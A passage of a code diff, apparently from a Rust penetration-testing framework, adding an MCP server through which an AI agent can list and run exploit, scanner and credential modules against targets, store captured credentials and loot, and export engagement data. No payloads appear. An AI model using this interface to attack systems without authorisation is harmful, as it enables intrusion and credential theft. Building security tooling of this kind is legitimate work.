Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "resources": v })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_resources_read(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
|
||||
let uri = match extract_resource_uri(¶ms) {
|
||||
Ok(u) => u,
|
||||
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
|
||||
};
|
||||
|
||||
let result = super::resources::read_resource(&uri).await;
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Param extraction helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Pull `name` (String) and `arguments` (Object) out of the `tools/call` params.
|
||||
fn extract_tool_call_params(params: &Option<Value>) -> Result<(String, Value), String> {
|
||||
let obj = params
|
||||
.as_ref()
|
||||
.and_then(|v| v.as_object())
|
||||
.ok_or_else(|| "Invalid params: expected object with 'name' and 'arguments'".to_string())?;
|
||||
|
||||
let name = obj
|
||||
.get("name")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| "Missing or invalid 'name' in params".to_string())?
|
||||
.to_string();
|
||||
|
||||
let arguments = obj
|
||||
.get("arguments")
|
||||
.cloned()
|
||||
.unwrap_or_else(|| serde_json::json!({}));
|
||||
|
||||
Ok((name, arguments))
|
||||
}
|
||||
|
||||
/// Pull `uri` (String) out of the `resources/read` params.
|
||||
fn extract_resource_uri(params: &Option<Value>) -> Result<String, String> {
|
||||
let obj = params
|
||||
.as_ref()
|
||||
.and_then(|v| v.as_object())
|
||||
.ok_or_else(|| "Invalid params: expected object with 'uri'".to_string())?;
|
||||
|
||||
let uri = obj
|
||||
.get("uri")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| "Missing or invalid 'uri' in params".to_string())?
|
||||
.to_string();
|
||||
|
||||
Ok(uri)
|
||||
}
|
||||
@@ -0,0 +1,799 @@
|
||||
use once_cell::sync::Lazy;
|
||||
use serde_json::{json, Value};
|
||||
use std::collections::HashMap;
|
||||
|
||||
use super::types::{Tool, ToolResult};
|
||||
|
||||
/// Cached tool definitions — built once, reused on every tools/list call.
|
||||
static TOOL_DEFINITIONS: Lazy<Vec<Tool>> = Lazy::new(build_tool_definitions);
|
||||
|
||||
/// Return definitions for all MCP tools (cached).
|
||||
pub fn all_tools() -> Vec<Tool> {
|
||||
TOOL_DEFINITIONS.clone()
|
||||
}
|
||||
|
||||
fn build_tool_definitions() -> Vec<Tool> {
|
||||
vec![
|
||||
// ── Module tools ──────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_modules".into(),
|
||||
description: "List all available modules, optionally filtered by category".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"category": { "type": "string", "description": "Filter by category (exploits, scanners, creds, plugins)" }
|
||||
}
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "search_modules".into(),
|
||||
description: "Search modules by keyword (case-insensitive substring match)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search query" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "module_info".into(),
|
||||
description: "Get metadata for a specific module (name, description, authors, references, rank)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path, e.g. exploits/router_exploit" }
|
||||
},
|
||||
"required": ["module_path"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "check_module".into(),
|
||||
description: "Run a non-destructive vulnerability check against a target".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path" },
|
||||
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" }
|
||||
},
|
||||
"required": ["module_path", "target"]
|
||||
}),
|
||||
},
|
||||
// ── Target tools ──────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "set_target".into(),
|
||||
description: "Set the global target (IP, hostname, CIDR subnet, or comma-separated list)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"target": { "type": "string", "description": "Target value" }
|
||||
},
|
||||
"required": ["target"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "get_target".into(),
|
||||
description: "Get the current global target, its size, and whether it is a subnet".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "clear_target".into(),
|
||||
description: "Clear the global target".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
// ── Execution ─────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "run_module".into(),
|
||||
description: "Execute a module against a target, returning captured output".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path" },
|
||||
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" },
|
||||
"port": { "type": "integer", "description": "Optional port override" },
|
||||
"verbose": { "type": "boolean", "description": "Enable verbose output" },
|
||||
"prompts": {
|
||||
"type": "object",
|
||||
"description": "Key-value prompt overrides (e.g. {\"port\": \"8080\", \"timeout\": \"5\"})",
|
||||
"additionalProperties": { "type": "string" }
|
||||
}
|
||||
},
|
||||
"required": ["module_path", "target"]
|
||||
}),
|
||||
},
|
||||
// ── Credentials ───────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_creds".into(),
|
||||
description: "List all stored credentials".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "search_creds".into(),
|
||||
description: "Search credentials by host, service, or username".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search query" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "add_cred".into(),
|
||||
description: "Add a credential to the store".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"username": { "type": "string" },
|
||||
"secret": { "type": "string" },
|
||||
"port": { "type": "integer", "default": 0 },
|
||||
"service": { "type": "string", "default": "unknown" },
|
||||
"cred_type": { "type": "string", "enum": ["password", "hash", "key", "token"], "default": "password" }
|
||||
},
|
||||
"required": ["host", "username", "secret"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_cred".into(),
|
||||
description: "Delete a credential by its ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "string", "description": "Credential ID" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Workspace hosts & services ────────────────────────────────
|
||||
Tool {
|
||||
name: "list_hosts".into(),
|
||||
description: "List all tracked hosts in the current workspace".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "add_host".into(),
|
||||
description: "Add or update a host in the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ip": { "type": "string" },
|
||||
"hostname": { "type": "string" },
|
||||
"os_guess": { "type": "string" }
|
||||
},
|
||||
"required": ["ip"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_host".into(),
|
||||
description: "Delete a host (and its services) from the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ip": { "type": "string" }
|
||||
},
|
||||
"required": ["ip"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "list_services".into(),
|
||||
description: "List all tracked services in the current workspace".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "add_service".into(),
|
||||
description: "Add or update a service in the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"port": { "type": "integer" },
|
||||
"service_name": { "type": "string" },
|
||||
"protocol": { "type": "string", "default": "tcp" },
|
||||
"version": { "type": "string" }
|
||||
},
|
||||
"required": ["host", "port", "service_name"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_service".into(),
|
||||
description: "Delete a service by host and port".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"port": { "type": "integer" }
|
||||
},
|
||||
"required": ["host", "port"]
|
||||
}),
|
||||
},
|
||||
// ── Loot ──────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_loot".into(),
|
||||
description: "List all stored loot entries".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "search_loot".into(),
|
||||
description: "Search loot by host, type, or description".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "add_loot".into(),
|
||||
description: "Store a loot entry (text data)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"loot_type": { "type": "string", "description": "e.g. config, password_file, hash, firmware" },
|
||||
"data": { "type": "string", "description": "Loot content (text)" },
|
||||
"description": { "type": "string" }
|
||||
},
|
||||
"required": ["host", "loot_type", "data"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_loot".into(),
|
||||
description: "Delete a loot entry by ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "string" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Global options ────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_options".into(),
|
||||
description: "List all persistent global options (setg values)".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "set_option".into(),
|
||||
description: "Set a persistent global option".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"key": { "type": "string" },
|
||||
"value": { "type": "string" }
|
||||
},
|
||||
"required": ["key", "value"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "unset_option".into(),
|
||||
description: "Remove a persistent global option".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"key": { "type": "string" }
|
||||
},
|
||||
"required": ["key"]
|
||||
}),
|
||||
},
|
||||
// ── Jobs ──────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_jobs".into(),
|
||||
description: "List active background jobs".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "kill_job".into(),
|
||||
description: "Kill a background job by ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "integer" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Workspace management ──────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_workspaces".into(),
|
||||
description: "List all available workspaces".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "switch_workspace".into(),
|
||||
description: "Switch to a different workspace (creates it if it does not exist)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": { "type": "string" }
|
||||
},
|
||||
"required": ["name"]
|
||||
}),
|
||||
},
|
||||
// ── Export ────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "export_data".into(),
|
||||
description: "Export full engagement data (workspace, hosts, services, credentials, loot) as JSON".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Tool dispatch
|
||||
// ===========================================================================
|
||||
|
||||
/// Dispatch a tool call by name.
|
||||
pub async fn call_tool(name: &str, args: Value) -> ToolResult {
|
||||
match name {
|
||||
// ── Module tools ──────────────────────────────────────────
|
||||
"list_modules" => handle_list_modules(&args),
|
||||
"search_modules" => handle_search_modules(&args),
|
||||
"module_info" => handle_module_info(&args),
|
||||
"check_module" => handle_check_module(&args).await,
|
||||
|
||||
// ── Target tools ──────────────────────────────────────────
|
||||
"set_target" => handle_set_target(&args),
|
||||
"get_target" => handle_get_target(),
|
||||
"clear_target" => handle_clear_target(),
|
||||
|
||||
// ── Execution ─────────────────────────────────────────────
|
||||
"run_module" => handle_run_module(&args).await,
|
||||
|
||||
// ── Credentials ───────────────────────────────────────────
|
||||
"list_creds" => handle_list_creds().await,
|
||||
"search_creds" => handle_search_creds(&args).await,
|
||||
"add_cred" => handle_add_cred(&args).await,
|
||||
"delete_cred" => handle_delete_cred(&args).await,
|
||||
|
||||
// ── Workspace hosts & services ────────────────────────────
|
||||
"list_hosts" => handle_list_hosts().await,
|
||||
"add_host" => handle_add_host(&args).await,
|
||||
"delete_host" => handle_delete_host(&args).await,
|
||||
"list_services" => handle_list_services().await,
|
||||
"add_service" => handle_add_service(&args).await,
|
||||
"delete_service" => handle_delete_service(&args).await,
|
||||
|
||||
// ── Loot ──────────────────────────────────────────────────
|
||||
"list_loot" => handle_list_loot().await,
|
||||
"search_loot" => handle_search_loot(&args).await,
|
||||
"add_loot" => handle_add_loot(&args).await,
|
||||
"delete_loot" => handle_delete_loot(&args).await,
|
||||
|
||||
// ── Global options ────────────────────────────────────────
|
||||
"list_options" => handle_list_options().await,
|
||||
"set_option" => handle_set_option(&args).await,
|
||||
"unset_option" => handle_unset_option(&args).await,
|
||||
|
||||
// ── Jobs ──────────────────────────────────────────────────
|
||||
"list_jobs" => handle_list_jobs(),
|
||||
"kill_job" => handle_kill_job(&args),
|
||||
|
||||
// ── Workspace management ──────────────────────────────────
|
||||
"list_workspaces" => handle_list_workspaces().await,
|
||||
"switch_workspace" => handle_switch_workspace(&args).await,
|
||||
|
||||
// ── Export ────────────────────────────────────────────────
|
||||
"export_data" => handle_export_data().await,
|
||||
|
||||
_ => ToolResult::error(format!("Unknown tool: {}", name)),
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Helpers to extract typed values from serde_json::Value
|
||||
// ===========================================================================
|
||||
|
||||
/// Extract a required string parameter, returning ToolResult::error if missing.
|
||||
macro_rules! require_str {
|
||||
($args:expr, $key:expr) => {
|
||||
match str_param($args, $key) {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error(format!("Missing required parameter: {}", $key)),
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
fn str_param<'a>(args: &'a Value, key: &str) -> Option<&'a str> {
|
||||
args.get(key).and_then(|v| v.as_str())
|
||||
}
|
||||
|
||||
fn u16_param(args: &Value, key: &str) -> Option<u16> {
|
||||
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u16)
|
||||
}
|
||||
|
||||
fn u32_param(args: &Value, key: &str) -> Option<u32> {
|
||||
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u32)
|
||||
}
|
||||
|
||||
fn bool_param(args: &Value, key: &str) -> Option<bool> {
|
||||
args.get(key).and_then(|v| v.as_bool())
|
||||
}
|
||||
|
||||
fn prompts_param(args: &Value) -> HashMap<String, String> {
|
||||
let mut map = HashMap::new();
|
||||
if let Some(obj) = args.get("prompts").and_then(|v| v.as_object()) {
|
||||
for (k, v) in obj {
|
||||
if let Some(s) = v.as_str() {
|
||||
map.insert(k.clone(), s.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
map
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Individual tool handlers
|
||||
// ===========================================================================
|
||||
|
||||
// ── Module tools ──────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_list_modules(args: &Value) -> ToolResult {
|
||||
let modules = crate::commands::discover_modules();
|
||||
let filtered: Vec<&String> = if let Some(cat) = str_param(args, "category") {
|
||||
let prefix = format!("{}/", cat);
|
||||
modules.iter().filter(|m| m.starts_with(&prefix)).collect()
|
||||
} else {
|
||||
modules.iter().collect()
|
||||
};
|
||||
ToolResult::json(&filtered)
|
||||
}
|
||||
|
||||
fn handle_search_modules(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let q_lower = query.to_lowercase();
|
||||
let modules = crate::commands::discover_modules();
|
||||
let matched: Vec<&String> = modules
|
||||
.iter()
|
||||
.filter(|m| m.to_lowercase().contains(&q_lower))
|
||||
.collect();
|
||||
ToolResult::json(&matched)
|
||||
}
|
||||
|
||||
fn handle_module_info(args: &Value) -> ToolResult {
|
||||
let path = require_str!(args, "module_path");
|
||||
match crate::commands::module_info(path) {
|
||||
Some(info) => ToolResult::json(&info),
|
||||
None => ToolResult::error(format!("No info available for module '{}'", path)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_check_module(args: &Value) -> ToolResult {
|
||||
let path = require_str!(args, "module_path");
|
||||
let target = require_str!(args, "target");
|
||||
match crate::commands::check_module(path, target).await {
|
||||
Some(result) => ToolResult::json(&result),
|
||||
None => ToolResult::error(format!("Module '{}' does not support check", path)),
|
||||
}
|
||||
}
|
||||
|
||||
// ── Target tools ──────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_set_target(args: &Value) -> ToolResult {
|
||||
let target = require_str!(args, "target");
|
||||
match crate::config::GLOBAL_CONFIG.set_target(target) {
|
||||
Ok(()) => ToolResult::text(format!("Target set to: {}", target)),
|
||||
Err(e) => ToolResult::error(format!("Failed to set target: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_get_target() -> ToolResult {
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let size = crate::config::GLOBAL_CONFIG.get_target_size();
|
||||
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
|
||||
ToolResult::json(&json!({
|
||||
"target": target,
|
||||
"size": size,
|
||||
"is_subnet": is_subnet,
|
||||
}))
|
||||
}
|
||||
|
||||
fn handle_clear_target() -> ToolResult {
|
||||
crate::config::GLOBAL_CONFIG.clear_target();
|
||||
ToolResult::text("Target cleared".into())
|
||||
}
|
||||
|
||||
// ── Execution ─────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_run_module(args: &Value) -> ToolResult {
|
||||
let module_path = require_str!(args, "module_path").to_string();
|
||||
let target = require_str!(args, "target").to_string();
|
||||
let verbose = bool_param(args, "verbose").unwrap_or(false);
|
||||
|
||||
// Validate module exists before executing
|
||||
if !crate::commands::discover_modules().contains(&module_path) {
|
||||
return ToolResult::error(format!("Module '{}' not found", module_path));
|
||||
}
|
||||
|
||||
let mut prompts = prompts_param(args);
|
||||
// Inject port into prompts if provided as a top-level parameter
|
||||
if let Some(port) = u16_param(args, "port") {
|
||||
prompts.entry("port".into()).or_insert_with(|| port.to_string());
|
||||
}
|
||||
// Strip "target" from prompts to prevent SSRF bypass via prompt injection
|
||||
prompts.remove("target");
|
||||
|
||||
let module_config = crate::config::ModuleConfig {
|
||||
api_mode: true,
|
||||
custom_prompts: prompts,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let output_buf = crate::output::OutputBuffer::new();
|
||||
let buf_clone = output_buf.clone();
|
||||
|
||||
let (result, _ctx) = crate::context::run_with_context_target(
|
||||
module_config,
|
||||
target.clone(),
|
||||
|| async {
|
||||
crate::output::OUTPUT_BUFFER
|
||||
.scope(buf_clone, async {
|
||||
crate::commands::run_module(&module_path, &target, verbose).await
|
||||
})
|
||||
.await
|
||||
},
|
||||
)
|
||||
.await;
|
||||
|
||||
let stdout = output_buf.drain_stdout();
|
||||
let stderr = output_buf.drain_stderr();
|
||||
|
||||
match result {
|
||||
Ok(()) => {
|
||||
let mut text = stdout;
|
||||
if !stderr.is_empty() {
|
||||
text.push_str("\n--- stderr ---\n");
|
||||
text.push_str(&stderr);
|
||||
}
|
||||
if text.is_empty() {
|
||||
text = "Module completed successfully (no output captured)".into();
|
||||
}
|
||||
ToolResult::text(text)
|
||||
}
|
||||
Err(e) => {
|
||||
let mut msg = format!("Module error: {}\n", e);
|
||||
if !stdout.is_empty() {
|
||||
msg.push_str("\n--- stdout ---\n");
|
||||
msg.push_str(&stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
msg.push_str("\n--- stderr ---\n");
|
||||
msg.push_str(&stderr);
|
||||
}
|
||||
ToolResult::error(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Credentials ───────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_creds() -> ToolResult {
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
ToolResult::json(&creds)
|
||||
}
|
||||
|
||||
async fn handle_search_creds(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let results = crate::cred_store::CRED_STORE.search(query).await;
|
||||
ToolResult::json(&results)
|
||||
}
|
||||
|
||||
async fn handle_add_cred(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let username = require_str!(args, "username");
|
||||
let secret = require_str!(args, "secret");
|
||||
let port = u16_param(args, "port").unwrap_or(0);
|
||||
let service = str_param(args, "service").unwrap_or("unknown");
|
||||
let cred_type = match str_param(args, "cred_type").unwrap_or("password") {
|
||||
"hash" => crate::cred_store::CredType::Hash,
|
||||
"key" => crate::cred_store::CredType::Key,
|
||||
"token" => crate::cred_store::CredType::Token,
|
||||
_ => crate::cred_store::CredType::Password,
|
||||
};
|
||||
|
||||
let id = crate::cred_store::CRED_STORE
|
||||
.add(host, port, service, username, secret, cred_type, "mcp")
|
||||
.await;
|
||||
|
||||
if id.is_empty() {
|
||||
ToolResult::error("Failed to add credential (validation error)".into())
|
||||
} else {
|
||||
ToolResult::json(&json!({ "id": id, "status": "added" }))
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_delete_cred(args: &Value) -> ToolResult {
|
||||
let id = require_str!(args, "id");
|
||||
if crate::cred_store::CRED_STORE.delete(id).await {
|
||||
ToolResult::text(format!("Credential {} deleted", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Credential {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Workspace hosts & services ────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_hosts() -> ToolResult {
|
||||
let hosts = crate::workspace::WORKSPACE.hosts().await;
|
||||
ToolResult::json(&hosts)
|
||||
}
|
||||
|
||||
async fn handle_add_host(args: &Value) -> ToolResult {
|
||||
let ip = require_str!(args, "ip");
|
||||
let hostname = str_param(args, "hostname");
|
||||
let os_guess = str_param(args, "os_guess");
|
||||
crate::workspace::WORKSPACE
|
||||
.add_host(ip, hostname, os_guess)
|
||||
.await;
|
||||
ToolResult::text(format!("Host {} added/updated", ip))
|
||||
}
|
||||
|
||||
async fn handle_delete_host(args: &Value) -> ToolResult {
|
||||
let ip = require_str!(args, "ip");
|
||||
if crate::workspace::WORKSPACE.delete_host(ip).await {
|
||||
ToolResult::text(format!("Host {} deleted", ip))
|
||||
} else {
|
||||
ToolResult::error(format!("Host {} not found", ip))
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_list_services() -> ToolResult {
|
||||
let services = crate::workspace::WORKSPACE.services().await;
|
||||
ToolResult::json(&services)
|
||||
}
|
||||
|
||||
async fn handle_add_service(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
let service_name = require_str!(args, "service_name");
|
||||
let protocol = str_param(args, "protocol").unwrap_or("tcp");
|
||||
let version = str_param(args, "version");
|
||||
crate::workspace::WORKSPACE
|
||||
.add_service(host, port, protocol, service_name, version)
|
||||
.await;
|
||||
ToolResult::text(format!("Service {}:{} ({}) added/updated", host, port, service_name))
|
||||
}
|
||||
|
||||
async fn handle_delete_service(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
if crate::workspace::WORKSPACE.delete_service(host, port).await {
|
||||
ToolResult::text(format!("Service {}:{} deleted", host, port))
|
||||
} else {
|
||||
ToolResult::error(format!("Service {}:{} not found", host, port))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Loot ──────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_loot() -> ToolResult {
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
ToolResult::json(&loot)
|
||||
}
|
||||
|
||||
async fn handle_search_loot(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let results = crate::loot::LOOT_STORE.search(query).await;
|
||||
ToolResult::json(&results)
|
||||
}
|
||||
|
||||
async fn handle_add_loot(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let loot_type = require_str!(args, "loot_type");
|
||||
let data = require_str!(args, "data");
|
||||
let description = str_param(args, "description").unwrap_or("");
|
||||
|
||||
match crate::loot::LOOT_STORE
|
||||
.add_text(host, loot_type, description, data, "mcp")
|
||||
.await
|
||||
{
|
||||
Some(id) => ToolResult::json(&json!({ "id": id, "status": "stored" })),
|
||||
None => ToolResult::error("Failed to store loot (validation or I/O error)".into()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_delete_loot(args: &Value) -> ToolResult {
|
||||
let id = require_str!(args, "id");
|
||||
if crate::loot::LOOT_STORE.delete(id).await {
|
||||
ToolResult::text(format!("Loot {} deleted", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Loot {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Global options ────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_options() -> ToolResult {
|
||||
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
|
||||
ToolResult::json(&opts)
|
||||
}
|
||||
|
||||
async fn handle_set_option(args: &Value) -> ToolResult {
|
||||
let key = require_str!(args, "key");
|
||||
let value = require_str!(args, "value");
|
||||
crate::global_options::GLOBAL_OPTIONS.set(key, value).await;
|
||||
ToolResult::text(format!("{} => {}", key, value))
|
||||
}
|
||||
|
||||
async fn handle_unset_option(args: &Value) -> ToolResult {
|
||||
let key = require_str!(args, "key");
|
||||
if crate::global_options::GLOBAL_OPTIONS.unset(key).await {
|
||||
ToolResult::text(format!("Option '{}' removed", key))
|
||||
} else {
|
||||
ToolResult::error(format!("Option '{}' not found", key))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Jobs ──────────────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_list_jobs() -> ToolResult {
|
||||
let jobs = crate::jobs::JOB_MANAGER.list();
|
||||
let entries: Vec<Value> = jobs
|
||||
.into_iter()
|
||||
.map(|(id, module, target, started, status)| {
|
||||
json!({
|
||||
"id": id,
|
||||
"module": module,
|
||||
"target": target,
|
||||
"started": started,
|
||||
"status": status,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
ToolResult::json(&entries)
|
||||
}
|
||||
|
||||
fn handle_kill_job(args: &Value) -> ToolResult {
|
||||
let id = match u32_param(args, "id") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: id (integer)".into()),
|
||||
};
|
||||
if crate::jobs::JOB_MANAGER.kill(id) {
|
||||
ToolResult::text(format!("Job {} killed", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Job {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Workspace management ──────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_workspaces() -> ToolResult {
|
||||
let workspaces = crate::workspace::WORKSPACE.list_workspaces().await;
|
||||
let current = crate::workspace::WORKSPACE.current_name().await;
|
||||
ToolResult::json(&json!({
|
||||
"workspaces": workspaces,
|
||||
"current": current,
|
||||
}))
|
||||
}
|
||||
|
||||
async fn handle_switch_workspace(args: &Value) -> ToolResult {
|
||||
let name = require_str!(args, "name");
|
||||
crate::workspace::WORKSPACE.switch(name).await;
|
||||
ToolResult::text(format!("Switched to workspace: {}", name))
|
||||
}
|
||||
|
||||
// ── Export ─────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_export_data() -> ToolResult {
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
|
||||
ToolResult::json(&json!({
|
||||
"workspace": workspace_name,
|
||||
"exported_at": chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
"hosts": workspace_data.hosts,
|
||||
"services": workspace_data.services,
|
||||
"credentials": creds,
|
||||
"loot": loot,
|
||||
}))
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::Value;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// JSON-RPC 2.0 core types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Incoming JSON-RPC 2.0 request (or notification when `id` is `None`).
|
||||
#[derive(Deserialize)]
|
||||
pub struct JsonRpcRequest {
|
||||
pub jsonrpc: String,
|
||||
/// `None` means this is a notification (no response expected).
|
||||
pub id: Option<Value>,
|
